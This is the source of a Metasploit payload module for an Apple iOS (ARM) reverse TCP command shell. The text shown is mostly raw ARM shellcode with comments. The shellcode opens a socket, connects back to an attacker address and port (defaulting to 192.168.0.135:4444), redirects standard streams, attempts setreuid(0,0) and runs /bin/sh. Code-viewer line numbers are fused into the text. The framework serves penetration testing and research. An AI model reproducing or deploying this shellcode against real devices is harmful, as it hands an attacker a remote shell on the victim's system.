Path: blob/master/modules/payloads/singles/osx/armle/shell_reverse_tcp.rb
19851 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 15278include Msf::Payload::Single9include Msf::Payload::Osx10include Msf::Sessions::CommandShellOptions1112def initialize(info = {})13super(14merge_info(15info,16'Name' => 'Apple iOS Command Shell, Reverse TCP Inline',17'Description' => 'Connect back to attacker and spawn a command shell',18'Author' => 'hdm',19'License' => MSF_LICENSE,20'Platform' => 'osx',21'Arch' => ARCH_ARMLE,22'Handler' => Msf::Handler::ReverseTcp,23'Session' => Msf::Sessions::CommandShellUnix,24'Payload' => {25'Offsets' =>26{27'LPORT' => [ 30, 'n' ],28'LHOST' => [ 32, 'ADDR' ]29},30'Payload' =>31[32# socket330xe3a00002, # mov r0, #0x2340xe3a01001, # mov r1, #0x1350xe3a02006, # mov r2, #0x6360xe3a0c061, # mov r12, #0x61370xef000080, # swi 128380xe1a0a000, # mov r10, r0390xeb000001, # bl _konnect4041# port 4444420x5c110200,4344# host 192.168.0.135450x8700a8c0,4647# connect480xe1a0000a, # mov r0, r10490xe1a0100e, # mov r1, lr500xe3a02010, # mov r2, #0x10510xe3a0c062, # mov r12, #0x62520xef000080, # swi 1285354# setup dup2550xe3a05002, # mov r5, #0x25657# dup2580xe3a0c05a, # mov r12, #0x5a590xe1a0000a, # mov r0, r10600xe1a01005, # mov r1, r5610xef000080, # swi 128620xe2455001, # sub r5, r5, #0x1630xe3550000, # cmp r5, #0x0640xaafffff8, # bge _dup26566# setreuid(0,0)670xe3a00000, # mov r0, #0x0680xe3a01000, # mov r1, #0x0690xe3a0c07e, # mov r12, #0x7e700xef000080, # swi 1287172# execve730xe0455005, # sub r5, r5, r5740xe1a0600d, # mov r6, sp750xe24dd020, # sub sp, sp, #0x20760xe28f0014, # add r0, pc, #0x14770xe4860000, # str r0, [r6], #0780xe5865004, # str r5, [r6, #4]790xe1a01006, # mov r1, r6800xe3a02000, # mov r2, #0x0810xe3a0c03b, # mov r12, #0x3b820xef000080, # swi 1288384# /bin/sh850x6e69622f,860x0068732f87].pack('V*')88}89)90)91end92end939495